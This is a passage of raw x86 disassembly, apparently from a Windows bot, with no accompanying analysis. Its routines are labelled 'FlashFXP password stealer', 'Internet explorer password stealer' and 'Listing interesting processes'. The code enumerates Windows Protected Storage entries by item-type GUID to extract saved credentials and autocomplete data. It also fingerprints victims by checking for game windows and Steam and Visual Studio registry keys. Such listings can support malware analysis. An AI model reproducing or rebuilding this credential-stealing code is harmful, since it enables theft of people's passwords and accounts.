sub_414A1E:loc_414EA6j mov al, [ebp+var_330] mov [ebp+var_190], al push 3E8h call dword_41709C push [ebp+var_184] push [ebp+var_334] mov eax, [ebp+var_32C] push dword ptr [eax] push offset unk_41D2E4 lea eax, [ebp+var_328] push eax call sub_40D53F add esp, 14h loc_414E96: ; CODE XREF: sub_414A1E:loc_414EA8j ; sub_414A1E:loc_414EAAj push [ebp+var_32C] call sub_409763 pop ecx xor eax, eax jmp short locret_414EAC ; --------------------------------------------------------------------------- loc_414EA6: ; CODE XREF: sub_414A1E+3F0j jmp short loc_414E57 ; --------------------------------------------------------------------------- loc_414EA8: ; CODE XREF: sub_414A1E+140j jmp short loc_414E96 ; --------------------------------------------------------------------------- loc_414EAA: ; CODE XREF: sub_414A1E+ACj jmp short loc_414E96 ; --------------------------------------------------------------------------- locret_414EAC: ; CODE XREF: sub_414A1E+48j ; sub_414A1E+486j leave retn 4 sub_414A1E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414EB0 proc near ; CODE XREF: sub_40A9CF+769p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push 1A7h call sub_416B46 pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_414ECA jmp short locret_414EF2 ; --------------------------------------------------------------------------- loc_414ECA: ; CODE XREF: sub_414EB0+16j push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 4 push eax call sub_405F67 pop ecx pop ecx push offset aFlashfxpPasswo ; "FlashFXP password stealer" push 0 push [ebp+var_4] push offset sub_414A1E call sub_4095A4 add esp, 10h locret_414EF2: ; CODE XREF: sub_414EB0+18j leave retn sub_414EB0 endp ; =============== S U B R O U T I N E ======================================= sub_414EF4 proc near ; DATA XREF: sub_415AF0+40o mov eax, offset loc_416FDD call sub_416E10 sub esp, 0FFCh push esi push edi push 1A7h push dword ptr [ebp+8] lea eax, [ebp-0BF0h] push eax call sub_416B52 add esp, 0Ch push dword ptr [ebp+8] call sub_416B4C pop ecx and dword ptr [ebp-0A00h], 0 and dword ptr [ebp-4], 0 cmp dword ptr [ebp-0A00h], 0 jz short loc_414F4C mov eax, [ebp-0A00h] mov ecx, [ebp-0A00h] mov ecx, [ecx] push eax call dword ptr [ecx+8] loc_414F4C: ; CODE XREF: sub_414EF4+44j and dword ptr [ebp-0A00h], 0 push 0 push 0 push 0 lea eax, [ebp-0A00h] push eax call dword_41DF60 mov [ebp-0DF4h], eax cmp dword ptr [ebp-0DF4h], 0 jge short loc_414FB2 push dword ptr [ebp-0BF0h] call sub_409763 pop ecx and dword ptr [ebp-0FD0h], 0 or dword ptr [ebp-4], 0FFFFFFFFh cmp dword ptr [ebp-0A00h], 0 jz short loc_414FA7 mov eax, [ebp-0A00h] mov ecx, [ebp-0A00h] mov ecx, [ecx] push eax call dword ptr [ecx+8] loc_414FA7: ; CODE XREF: sub_414EF4+9Fj mov eax, [ebp-0FD0h] jmp loc_415AE0 ; --------------------------------------------------------------------------- loc_414FB2: ; CODE XREF: sub_414EF4+7Fj and dword ptr [ebp-10h], 0 mov byte ptr [ebp-4], 1 cmp dword ptr [ebp-10h], 0 jz short loc_414FCC mov eax, [ebp-10h] mov ecx, [ebp-10h] mov ecx, [ecx] push eax call dword ptr [ecx+8] loc_414FCC: ; CODE XREF: sub_414EF4+CAj and dword ptr [ebp-10h], 0 cmp dword ptr [ebp-0A00h], 0 jnz short loc_414FE3 push 80004003h call sub_416E40 loc_414FE3: ; CODE XREF: sub_414EF4+E3j mov eax, [ebp-0A00h] mov [ebp-0FE0h], eax lea eax, [ebp-10h] push eax push 0 push 0 mov eax, [ebp-0FE0h] mov eax, [eax] push dword ptr [ebp-0FE0h] call dword ptr [eax+38h] mov [ebp-0FDCh], eax cmp dword ptr [ebp-0FDCh], 0 jge short loc_41502D push offset dword_41D650 push dword ptr [ebp-0FE0h] push dword ptr [ebp-0FDCh] call sub_416E4E loc_41502D: ; CODE XREF: sub_414EF4+121j mov eax, [ebp-0FDCh] mov [ebp-0DF4h], eax cmp dword ptr [ebp-0DF4h], 0 jge short loc_415095 push dword ptr [ebp-0BF0h] call sub_409763 pop ecx and dword ptr [ebp-0FD4h], 0 and byte ptr [ebp-4], 0 cmp dword ptr [ebp-10h], 0 jz short loc_41506B mov eax, [ebp-10h] mov ecx, [ebp-10h] mov ecx, [ecx] push eax call dword ptr [ecx+8] loc_41506B: ; CODE XREF: sub_414EF4+169j or dword ptr [ebp-4], 0FFFFFFFFh cmp dword ptr [ebp-0A00h], 0 jz short loc_41508A mov eax, [ebp-0A00h] mov ecx, [ebp-0A00h] mov ecx, [ecx] push eax call dword ptr [ecx+8] loc_41508A: ; CODE XREF: sub_414EF4+182j mov eax, [ebp-0FD4h] jmp loc_415AE0 ; --------------------------------------------------------------------------- loc_415095: ; CODE XREF: sub_414EF4+14Cj mov eax, [ebp-0BF0h] push dword ptr [eax] push offset unk_41D61C lea eax, [ebp-0BECh] push eax call sub_40D53F add esp, 0Ch and dword ptr [ebp-214h], 0 mov al, [ebp-0A54h] mov [ebp-0A14h], al and byte ptr [ebp-0A54h], 0 loc_4150CB: ; CODE XREF: sub_414EF4:loc_415A54j cmp dword ptr [ebp-10h], 0 jnz short loc_4150DB push 80004003h call sub_416E40 loc_4150DB: ; CODE XREF: sub_414EF4+1DBj push 0 lea eax, [ebp-0A10h] push eax push 1 mov eax, [ebp-10h] mov [ebp-1000h], eax mov eax, [ebp-1000h] mov eax, [eax] push dword ptr [ebp-1000h] call dword ptr [eax+0Ch] test eax, eax jnz loc_415A59 mov eax, [ebp-0BF0h] cmp dword ptr [eax+4], 0 jz short loc_415119 jmp loc_415A59 ; --------------------------------------------------------------------------- loc_415119: ; CODE XREF: sub_414EF4+21Ej sub esp, 10h lea esi, [ebp-0A10h] mov edi, esp movsd movsd movsd movsd push offset asc_41D618 ; "%x" lea eax, [ebp-0A48h] push eax call dword_4171E0 add esp, 18h and dword ptr [ebp-0DF8h], 0 mov byte ptr [ebp-4], 2 cmp dword ptr [ebp-0DF8h], 0 jz short loc_415163 mov eax, [ebp-0DF8h] mov ecx, [ebp-0DF8h] mov ecx, [ecx] push eax call dword ptr [ecx+8] loc_415163: ; CODE XREF: sub_414EF4+25Bj and dword ptr [ebp-0DF8h], 0 cmp dword ptr [ebp-0A00h], 0 jnz short loc_41517D push 80004003h call sub_416E40 loc_41517D: ; CODE XREF: sub_414EF4+27Dj mov eax, [ebp-0A00h] mov [ebp-0FE8h], eax lea eax, [ebp-0DF8h] push eax push 0 lea eax, [ebp-0A10h] push eax push 0 mov eax, [ebp-0FE8h] mov eax, [eax] push dword ptr [ebp-0FE8h] call dword ptr [eax+3Ch] mov [ebp-0FE4h], eax cmp dword ptr [ebp-0FE4h], 0 jge short loc_4151D1 push offset dword_41D650 push dword ptr [ebp-0FE8h] push dword ptr [ebp-0FE4h] call sub_416E4E loc_4151D1: ; CODE XREF: sub_414EF4+2C5j mov eax, [ebp-0FE4h] mov [ebp-0DF4h], eax loc_4151DD: ; CODE XREF: sub_414EF4:loc_415A30j cmp dword ptr [ebp-0DF8h], 0 jnz short loc_4151F0 push 80004003h call sub_416E40 loc_4151F0: ; CODE XREF: sub_414EF4+2F0j push 0 lea eax, [ebp-0E08h] push eax push 1 mov eax, [ebp-0DF8h] mov [ebp-1004h], eax mov eax, [ebp-1004h] mov eax, [eax] push dword ptr [ebp-1004h] call dword ptr [eax+0Ch] test eax, eax jnz loc_415A35 and dword ptr [ebp-0E14h], 0 mov byte ptr [ebp-4], 3 cmp dword ptr [ebp-0E14h], 0 jz short loc_415246 mov eax, [ebp-0E14h] mov ecx, [ebp-0E14h] mov ecx, [ecx] push eax call dword ptr [ecx+8] loc_415246: ; CODE XREF: sub_414EF4+33Ej and dword ptr [ebp-0E14h], 0 cmp dword ptr [ebp-0A00h], 0 jnz short loc_415260 push 80004003h call sub_416E40 loc_415260: ; CODE XREF: sub_414EF4+360j mov eax, [ebp-0A00h] mov [ebp-0FF0h], eax lea eax, [ebp-0E14h] push eax push 0 lea eax, [ebp-0E08h] push eax lea eax, [ebp-0A10h] push eax push 0 mov eax, [ebp-0FF0h] mov eax, [eax] push dword ptr [ebp-0FF0h] call dword ptr [eax+54h] mov [ebp-0FECh], eax cmp dword ptr [ebp-0FECh], 0 jge short loc_4152BB push offset dword_41D650 push dword ptr [ebp-0FF0h] push dword ptr [ebp-0FECh] call sub_416E4E loc_4152BB: ; CODE XREF: sub_414EF4+3AFj mov eax, [ebp-0FECh] mov [ebp-0E10h], eax loc_4152C7: ; CODE XREF: sub_414EF4+B18j cmp dword ptr [ebp-0E14h], 0 jnz short loc_4152DA push 80004003h call sub_416E40 loc_4152DA: ; CODE XREF: sub_414EF4+3DAj push 0 lea eax, [ebp-0E0Ch] push eax push 1 mov eax, [ebp-0E14h] mov [ebp-1008h], eax mov eax, [ebp-1008h] mov eax, [eax] push dword ptr [ebp-1008h] call dword ptr [eax+0Ch] test eax, eax jnz loc_415A11 push dword ptr [ebp-0E0Ch] push offset aWs ; "%ws" lea eax, [ebp-210h] push eax call dword_4171E0 add esp, 0Ch and dword ptr [ebp-0E18h], 0 and dword ptr [ebp-0EE8h], 0 and dword ptr [ebp-0EE4h], 0 cmp dword ptr [ebp-0A00h], 0 jnz short loc_41534D push 80004003h call sub_416E40 loc_41534D: ; CODE XREF: sub_414EF4+44Dj mov eax, [ebp-0E0Ch] loc_415353: ; DATA XREF: .packed:off_419100o mov [ebp-0FFCh], eax mov eax, [ebp-0A00h] mov [ebp-0FF8h], eax push 0 push dword ptr [ebp-0EE4h] lea eax, [ebp-0EE8h] push eax lea eax, [ebp-0E18h] push eax push dword ptr [ebp-0FFCh] lea eax, [ebp-0E08h] push eax lea eax, [ebp-0A10h] push eax push 0 mov eax, [ebp-0FF8h] mov eax, [eax] push dword ptr [ebp-0FF8h] call dword ptr [eax+44h] mov [ebp-0FF4h], eax cmp dword ptr [ebp-0FF4h], 0 jge short loc_4153C7 push offset dword_41D650 push dword ptr [ebp-0FF8h] push dword ptr [ebp-0FF4h] call sub_416E4E loc_4153C7: ; CODE XREF: sub_414EF4+4BBj mov eax, [ebp-0FF4h] mov [ebp-0E10h], eax push dword ptr [ebp-0EE8h] call sub_416B40 pop ecx mov ecx, [ebp-0E18h] dec ecx cmp eax, ecx jnb loc_415477 and dword ptr [ebp-0EECh], 0 and dword ptr [ebp-0EF0h], 0 jmp short loc_41540C ; --------------------------------------------------------------------------- loc_4153FE: ; CODE XREF: sub_414EF4+571j mov eax, [ebp-0EF0h] inc eax inc eax mov [ebp-0EF0h], eax loc_41540C: ; CODE XREF: sub_414EF4+508j mov eax, [ebp-0EF0h] cmp eax, [ebp-0E18h] jnb short loc_415467 mov eax, [ebp-0EE8h] add eax, [ebp-0EF0h] movzx eax, byte ptr [eax] test eax, eax jnz short loc_41543D mov eax, [ebp-0EECh] mov byte ptr [ebp+eax-9FCh], 2Ch jmp short loc_415458 ; --------------------------------------------------------------------------- loc_41543D: ; CODE XREF: sub_414EF4+537j mov eax, [ebp-0EE8h] add eax, [ebp-0EF0h] mov ecx, [ebp-0EECh] mov al, [eax] mov [ebp+ecx-9FCh], al loc_415458: ; CODE XREF: sub_414EF4+547j mov eax, [ebp-0EECh] inc eax mov [ebp-0EECh], eax jmp short loc_4153FE ; --------------------------------------------------------------------------- loc_415467: ; CODE XREF: sub_414EF4+524j mov eax, [ebp-0EECh] and byte ptr [ebp+eax-9FDh], 0 jmp short loc_415492 ; --------------------------------------------------------------------------- loc_415477: ; CODE XREF: sub_414EF4+4F4j push dword ptr [ebp-0EE8h] push offset dword_418B64 lea eax, [ebp-9FCh] push eax call dword_4171E0 add esp, 0Ch loc_415492: ; CODE XREF: sub_414EF4+581j push offset byte_41DF10 lea eax, [ebp-7FCh] push eax call dword_4170FC push offset byte_41DF10 lea eax, [ebp-0DF0h] push eax call dword_4170FC push offset a220d5cc1 ; "220d5cc1" lea eax, [ebp-0A48h] push eax call dword_417108 test eax, eax jnz short loc_41550C mov eax, [ebp-214h] inc eax mov [ebp-214h], eax movsx eax, byte ptr [ebp-0A57h] test eax, eax jnz short loc_41550C lea eax, [ebp-9FCh] push eax lea eax, [ebp-210h] push eax push dword ptr [ebp-214h] push offset dword_41D5C8 lea eax, [ebp-0BECh] push eax call sub_40D53F add esp, 14h loc_41550C: ; CODE XREF: sub_414EF4+5D6j ; sub_414EF4+5EEj push offset a5e7e8100 ; "5e7e8100" lea eax, [ebp-0A48h] push eax call dword_417108 test eax, eax jnz loc_4155CE push offset byte_41DF10 lea eax, [ebp-0EE0h] push eax call dword_4170FC push offset asc_4184FC ; ":" lea eax, [ebp-9FCh] push eax call sub_416BA8 pop ecx pop ecx test eax, eax jz short loc_415587 push offset asc_4184FC ; ":" lea eax, [ebp-9FCh] push eax call sub_416BA8 pop ecx pop ecx inc eax push eax lea eax, [ebp-0EE0h] push eax call dword_4170FC push offset asc_4184FC ; ":" lea eax, [ebp-9FCh] push eax call sub_416BA8 pop ecx pop ecx and byte ptr [eax], 0 loc_415587: ; CODE XREF: sub_414EF4+659j mov eax, [ebp-214h] inc eax mov [ebp-214h], eax push 3E8h call dword_41709C lea eax, [ebp-0EE0h] push eax lea eax, [ebp-9FCh] push eax lea eax, [ebp-210h] push eax push dword ptr [ebp-214h] push offset dword_41D564 lea eax, [ebp-0BECh] push eax call sub_40D53F add esp, 18h loc_4155CE: ; CODE XREF: sub_414EF4+62Cj push offset aB9819c52 ; "b9819c52" lea eax, [ebp-0A48h] push eax call dword_417108 test eax, eax jnz loc_415842 and dword ptr [ebp-0FC8h], 0 mov dword ptr [ebp-0EFCh], 1 and dword ptr [ebp-0FCCh], 0 jmp short loc_415610 ; --------------------------------------------------------------------------- loc_415602: ; CODE XREF: sub_414EF4:loc_4156CFj mov eax, [ebp-0FCCh] inc eax inc eax mov [ebp-0FCCh], eax loc_415610: ; CODE XREF: sub_414EF4+70Cj mov eax, [ebp-0FCCh] cmp eax, [ebp-0E18h] jnb loc_4156D4 mov eax, [ebp-0EE8h] add eax, [ebp-0FCCh] movzx eax, byte ptr [eax] test eax, eax jnz short loc_415652 mov eax, [ebp-0FC8h] mov byte ptr [ebp+eax-9FCh], 2Ch mov eax, [ebp-0FC8h] inc eax mov [ebp-0FC8h], eax jmp short loc_4156CF ; --------------------------------------------------------------------------- loc_415652: ; CODE XREF: sub_414EF4+73Fj mov eax, [ebp-0EE8h] add eax, [ebp-0FCCh] mov al, [eax] push eax call dword_4171DC test eax, eax jnz short loc_4156A7 mov eax, [ebp-0EE8h] add eax, [ebp-0FCCh] movzx eax, byte ptr [eax] cmp eax, 40h jz short loc_4156A7 mov eax, [ebp-0EE8h] add eax, [ebp-0FCCh] movzx eax, byte ptr [eax] cmp eax, 2Eh jz short loc_4156A7 mov eax, [ebp-0EE8h] add eax, [ebp-0FCCh] movzx eax, byte ptr [eax] cmp eax, 5Fh jnz short loc_4156CF loc_4156A7: ; CODE XREF: sub_414EF4+775j ; sub_414EF4+789j ... mov eax, [ebp-0EE8h] add eax, [ebp-0FCCh] mov ecx, [ebp-0FC8h] mov al, [eax] mov [ebp+ecx-9FCh], al mov eax, [ebp-0FC8h] inc eax mov [ebp-0FC8h], eax loc_4156CF: ; CODE XREF: sub_414EF4+75Cj ; sub_414EF4+7B1j jmp loc_415602 ; --------------------------------------------------------------------------- loc_4156D4: ; CODE XREF: sub_414EF4+728j mov eax, [ebp-0FC8h] and byte ptr [ebp+eax-9FDh], 0 lea eax, [ebp-9FAh] mov [ebp-0EF4h], eax and dword ptr [ebp-0EF8h], 0 jmp short loc_415704 ; --------------------------------------------------------------------------- loc_4156F7: ; CODE XREF: sub_414EF4:loc_41583Dj mov eax, [ebp-0EF8h] inc eax mov [ebp-0EF8h], eax loc_415704: ; CODE XREF: sub_414EF4+801j mov eax, [ebp-0EE8h] movzx eax, byte ptr [eax+4] cmp [ebp-0EF8h], eax jge loc_415842 mov eax, [ebp-0EF4h] inc eax push eax lea eax, [ebp-0FC4h] push eax call dword_4170FC push offset dword_41D554 lea eax, [ebp-0FC4h] push eax call sub_416BA8 pop ecx pop ecx test eax, eax jz short loc_41575C push offset dword_41D554 lea eax, [ebp-0FC4h] push eax call sub_416BA8 pop ecx pop ecx and byte ptr [eax], 0 loc_41575C: ; CODE XREF: sub_414EF4+850j push offset dword_41D554 mov eax, [ebp-0EF4h] inc eax push eax call sub_416BA8 pop ecx pop ecx test eax, eax jz short loc_415798 push offset dword_41D554 mov eax, [ebp-0EF4h] inc eax push eax call sub_416BA8 pop ecx pop ecx inc eax inc eax push eax lea eax, [ebp-0F60h] push eax call dword_4170FC loc_415798: ; CODE XREF: sub_414EF4+87Ej push offset dword_41D554 lea eax, [ebp-0F60h] push eax call sub_416BA8 pop ecx pop ecx test eax, eax jz short loc_4157C5 push offset dword_41D554 lea eax, [ebp-0F60h] push eax call sub_416BA8 pop ecx pop ecx and byte ptr [eax], 0 loc_4157C5: ; CODE XREF: sub_414EF4+8B9j push offset dword_41D554 mov eax, [ebp-0EF4h] inc eax push eax call sub_416BA8 pop ecx pop ecx mov esi, eax lea eax, [ebp-0F60h] push eax call dword_41703C lea eax, [esi+eax+9] mov [ebp-0EF4h], eax mov eax, [ebp-214h] inc eax mov [ebp-214h], eax push 3E8h call dword_41709C movsx eax, byte ptr [ebp-0A57h] test eax, eax jnz short loc_41583D lea eax, [ebp-0F60h] push eax lea eax, [ebp-0FC4h] push eax push dword ptr [ebp-214h] push offset dword_41D514 lea eax, [ebp-0BECh] push eax call sub_40D53F add esp, 14h loc_41583D: ; CODE XREF: sub_414EF4+91Fj jmp loc_4156F7 ; --------------------------------------------------------------------------- loc_415842: ; CODE XREF: sub_414EF4+6EEj ; sub_414EF4+820j push offset aE161255a ; "e161255a" lea eax, [ebp-0A48h] push eax call dword_417108 test eax, eax jnz loc_4159E0 push offset aStringindex ; "StringIndex" lea eax, [ebp-210h] push eax call sub_416BA8 pop ecx pop ecx test eax, eax jnz loc_4159E0 push offset dword_41D4F4 lea eax, [ebp-210h] push eax call sub_416BA8 pop ecx pop ecx test eax, eax jz short loc_4158A4 push offset dword_41D4F4 lea eax, [ebp-210h] push eax call sub_416BA8 pop ecx pop ecx and byte ptr [eax], 0 loc_4158A4: ; CODE XREF: sub_414EF4+998j push 8 lea eax, [ebp-210h] push eax lea eax, [ebp-0EE0h] push eax call dword_417100 push offset dword_41D4EC lea eax, [ebp-0EE0h] push eax call sub_416BA8 pop ecx pop ecx test eax, eax jnz short loc_415938 push offset dword_41D4E4 lea eax, [ebp-0EE0h] push eax call sub_416BA8 pop ecx pop ecx test eax, eax jnz short loc_415938 mov eax, [ebp-214h] inc eax mov [ebp-214h], eax push 3E8h call dword_41709C movsx eax, byte ptr [ebp-0A57h] test eax, eax jnz short loc_415933 lea eax, [ebp-9FCh] push eax lea eax, [ebp-210h] push eax push dword ptr [ebp-214h] push offset dword_41D49C lea eax, [ebp-0BECh] push eax call sub_40D53F add esp, 14h loc_415933: ; CODE XREF: sub_414EF4+A15j jmp loc_4159E0 ; --------------------------------------------------------------------------- loc_415938: ; CODE XREF: sub_414EF4+9DBj ; sub_414EF4+9F2j push offset byte_41DF10 lea eax, [ebp-0EE0h] push eax call dword_4170FC push offset dword_41D554 lea eax, [ebp-9FCh] push eax call sub_416BA8 pop ecx pop ecx test eax, eax jz short loc_415999 push offset dword_41D554 lea eax, [ebp-9FCh] push eax call sub_416BA8 pop ecx pop ecx inc eax push eax lea eax, [ebp-0EE0h] push eax call dword_4170FC push offset dword_41D554 lea eax, [ebp-9FCh] push eax call sub_416BA8 pop ecx pop ecx and byte ptr [eax], 0 loc_415999: ; CODE XREF: sub_414EF4+A6Bj mov eax, [ebp-214h] inc eax mov [ebp-214h], eax push 3E8h call dword_41709C lea eax, [ebp-0EE0h] push eax lea eax, [ebp-9FCh] push eax lea eax, [ebp-210h] push eax push dword ptr [ebp-214h] push offset dword_41D440 lea eax, [ebp-0BECh] push eax call sub_40D53F add esp, 18h loc_4159E0: ; CODE XREF: sub_414EF4+962j ; sub_414EF4+97Dj ... push 200h push 0 lea eax, [ebp-210h] push eax call sub_416B6A add esp, 0Ch push 200h push 0 lea eax, [ebp-9FCh] push eax call sub_416B6A add esp, 0Ch jmp loc_4152C7 ; --------------------------------------------------------------------------- loc_415A11: ; CODE XREF: sub_414EF4+410j mov byte ptr [ebp-4], 2 cmp dword ptr [ebp-0E14h], 0 jz short loc_415A30 mov eax, [ebp-0E14h] mov ecx, [ebp-0E14h] mov ecx, [ecx] push eax call dword ptr [ecx+8] loc_415A30: ; CODE XREF: sub_414EF4+B28j jmp loc_4151DD ; --------------------------------------------------------------------------- loc_415A35: ; CODE XREF: sub_414EF4+326j mov byte ptr [ebp-4], 1 cmp dword ptr [ebp-0DF8h], 0 jz short loc_415A54 mov eax, [ebp-0DF8h] mov ecx, [ebp-0DF8h] mov ecx, [ecx] push eax call dword ptr [ecx+8] loc_415A54: ; CODE XREF: sub_414EF4+B4Cj jmp loc_4150CB ; --------------------------------------------------------------------------- loc_415A59: ; CODE XREF: sub_414EF4+20Ej ; sub_414EF4+220j mov al, [ebp-0A14h] mov [ebp-0A54h], al push 3E8h call dword_41709C push dword ptr [ebp-214h] mov eax, [ebp-0BF0h] push dword ptr [eax] push offset unk_41D404 lea eax, [ebp-0BECh] push eax call sub_40D53F add esp, 10h push dword ptr [ebp-0BF0h] call sub_409763 pop ecx and dword ptr [ebp-0FD8h], 0 and byte ptr [ebp-4], 0 cmp dword ptr [ebp-10h], 0 jz short loc_415ABB mov eax, [ebp-10h] mov ecx, [ebp-10h] mov ecx, [ecx] push eax call dword ptr [ecx+8] loc_415ABB: ; CODE XREF: sub_414EF4+BB9j or dword ptr [ebp-4], 0FFFFFFFFh cmp dword ptr [ebp-0A00h], 0 jz short loc_415ADA mov eax, [ebp-0A00h] mov ecx, [ebp-0A00h] mov ecx, [ecx] push eax call dword ptr [ecx+8] loc_415ADA: ; CODE XREF: sub_414EF4+BD2j mov eax, [ebp-0FD8h] loc_415AE0: ; CODE XREF: sub_414EF4+B9j ; sub_414EF4+19Cj mov ecx, [ebp-0Ch] mov large fs:0, ecx pop edi pop esi leave retn 4 sub_414EF4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415AF0 proc near ; CODE XREF: sub_40A9CF+7Fp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp dword_41DF60, 0 jnz short loc_415AFF jmp short locret_415B3D ; --------------------------------------------------------------------------- loc_415AFF: ; CODE XREF: sub_415AF0+Bj push 1A7h call sub_416B46 pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_415B15 jmp short locret_415B3D ; --------------------------------------------------------------------------- loc_415B15: ; CODE XREF: sub_415AF0+21j push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 4 push eax call sub_405F67 pop ecx pop ecx push offset aInternetExplor ; "Internet explorer password stealer" push 0 push [ebp+var_4] push offset sub_414EF4 call sub_4095A4 add esp, 10h locret_415B3D: ; CODE XREF: sub_415AF0+Dj ; sub_415AF0+23j leave retn sub_415AF0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415B3F proc near ; CODE XREF: .packed:00416FB6p ; .packed:00416FBFp ... var_4 = dword ptr -4 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov eax, [ebp+var_4] cmp dword ptr [eax], 0 jz short locret_415B5E mov eax, [ebp+var_4] mov eax, [eax] mov ecx, [ebp+var_4] mov ecx, [ecx] mov ecx, [ecx] push eax call dword ptr [ecx+8] locret_415B5E: ; CODE XREF: sub_415B3F+Dj leave retn sub_415B3F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415B60 proc near ; DATA XREF: sub_415DFD+35o var_5D8 = dword ptr -5D8h var_5D4 = dword ptr -5D4h var_5D0 = dword ptr -5D0h var_5CC = dword ptr -5CCh var_5C8 = dword ptr -5C8h var_5C4 = dword ptr -5C4h var_5C0 = dword ptr -5C0h var_5BC = dword ptr -5BCh var_5B8 = dword ptr -5B8h var_5B4 = byte ptr -5B4h var_41C = byte ptr -41Ch var_410 = dword ptr -410h var_40C = dword ptr -40Ch var_408 = dword ptr -408h var_404 = dword ptr -404h var_400 = byte ptr -400h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 5D8h push 1A7h push [ebp+arg_0] lea eax, [ebp+var_5B8] push eax call sub_416B52 add esp, 0Ch push [ebp+arg_0] call sub_416B4C pop ecx and [ebp+var_5C4], 0 and [ebp+var_410], 0 and [ebp+var_40C], 0 and [ebp+var_408], 0 and [ebp+var_404], 0 and [ebp+var_5BC], 0 jmp short loc_415BC2 ; --------------------------------------------------------------------------- loc_415BB5: ; CODE XREF: sub_415B60:loc_415C50j mov eax, [ebp+var_5BC] inc eax mov [ebp+var_5BC], eax loc_415BC2: ; CODE XREF: sub_415B60+53j cmp [ebp+var_5BC], 0FFFFh jnb loc_415C55 push 400h lea eax, [ebp+var_400] push eax push [ebp+var_5BC] call dword_4171E4 push 7 push offset aUnreal3 ; "Unreal3" lea eax, [ebp+var_400] push eax call sub_416F80 ; _strnicmp add esp, 0Ch test eax, eax jnz short loc_415C0E mov [ebp+var_410], 1 loc_415C0E: ; CODE XREF: sub_415B60+A2j push offset aWorldOfWarcraf ; "World Of Warcraft" lea eax, [ebp+var_400] push eax call sub_416DDE pop ecx pop ecx test eax, eax jnz short loc_415C2F mov [ebp+var_408], 1 loc_415C2F: ; CODE XREF: sub_415B60+C3j push offset aConquer ; "[Conquer]" lea eax, [ebp+var_400] push eax call sub_416DDE pop ecx pop ecx test eax, eax jnz short loc_415C50 mov [ebp+var_404], 1 loc_415C50: ; CODE XREF: sub_415B60+E4j jmp loc_415BB5 ; --------------------------------------------------------------------------- loc_415C55: ; CODE XREF: sub_415B60+6Cj and [ebp+var_5C0], 0 lea eax, [ebp+var_5C0] push eax push 20019h push 0 push offset aSoftwareMicr_0 ; "SOFTWARE\\Microsoft\\VisualStudio\\6.0\\Set"... push 80000002h call dword_417008 test eax, eax jnz short loc_415C88 mov [ebp+var_5C4], 1 loc_415C88: ; CODE XREF: sub_415B60+11Cj push [ebp+var_5C0] call dword_417028 and [ebp+var_5C0], 0 lea eax, [ebp+var_5C0] push eax push 20019h push 0 push offset aSoftwareValveS ; "Software\\Valve\\Steam" push 80000001h call dword_417008 test eax, eax jnz short loc_415CC7 mov [ebp+var_40C], 1 loc_415CC7: ; CODE XREF: sub_415B60+15Bj push [ebp+var_5C0] call dword_417028 movsx eax, [ebp+var_41C] test eax, eax jz short loc_415D1E cmp [ebp+var_410], 0 jnz short loc_415D1E cmp [ebp+var_5C4], 0 jnz short loc_415D1E cmp [ebp+var_40C], 0 jnz short loc_415D1E cmp [ebp+var_408], 0 jnz short loc_415D1E cmp [ebp+var_404], 0 jnz short loc_415D1E push [ebp+var_5B8] call sub_409763 pop ecx xor eax, eax jmp locret_415DF9 ; --------------------------------------------------------------------------- loc_415D1E: ; CODE XREF: sub_415B60+17Cj ; sub_415B60+185j ... cmp [ebp+var_404], 0 jz short loc_415D33 mov [ebp+var_5C8], offset aYes ; "Yes" jmp short loc_415D3D ; --------------------------------------------------------------------------- loc_415D33: ; CODE XREF: sub_415B60+1C5j mov [ebp+var_5C8], offset aNo ; "No" loc_415D3D: ; CODE XREF: sub_415B60+1D1j cmp [ebp+var_408], 0 jz short loc_415D52 mov [ebp+var_5CC], offset aYes ; "Yes" jmp short loc_415D5C ; --------------------------------------------------------------------------- loc_415D52: ; CODE XREF: sub_415B60+1E4j mov [ebp+var_5CC], offset aNo ; "No" loc_415D5C: ; CODE XREF: sub_415B60+1F0j cmp [ebp+var_40C], 0 jz short loc_415D71 mov [ebp+var_5D0], offset aYes ; "Yes" jmp short loc_415D7B ; --------------------------------------------------------------------------- loc_415D71: ; CODE XREF: sub_415B60+203j mov [ebp+var_5D0], offset aNo ; "No" loc_415D7B: ; CODE XREF: sub_415B60+20Fj cmp [ebp+var_5C4], 0 jz short loc_415D90 mov [ebp+var_5D4], offset aYes ; "Yes" jmp short loc_415D9A ; --------------------------------------------------------------------------- loc_415D90: ; CODE XREF: sub_415B60+222j mov [ebp+var_5D4], offset aNo ; "No" loc_415D9A: ; CODE XREF: sub_415B60+22Ej cmp [ebp+var_410], 0 jz short loc_415DAF mov [ebp+var_5D8], offset aYes ; "Yes" jmp short loc_415DB9 ; --------------------------------------------------------------------------- loc_415DAF: ; CODE XREF: sub_415B60+241j mov [ebp+var_5D8], offset aNo ; "No" loc_415DB9: ; CODE XREF: sub_415B60+24Dj push [ebp+var_5C8] push [ebp+var_5CC] push [ebp+var_5D0] push [ebp+var_5D4] push [ebp+var_5D8] push offset dword_41D684 lea eax, [ebp+var_5B4] push eax call sub_40D53F add esp, 1Ch push [ebp+var_5B8] call sub_409763 pop ecx xor eax, eax locret_415DF9: ; CODE XREF: sub_415B60+1B9j leave retn 4 sub_415B60 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415DFD proc near ; CODE XREF: sub_40A9CF+12FFp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push 1A7h call sub_416B46 pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_415E17 jmp short locret_415E3F ; --------------------------------------------------------------------------- loc_415E17: ; CODE XREF: sub_415DFD+16j push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 4 push eax call sub_405F67 pop ecx pop ecx push offset aListingInteres ; "Listing interesting processes" push 0 push [ebp+var_4] push offset sub_415B60 call sub_4095A4 add esp, 10h locret_415E3F: ; 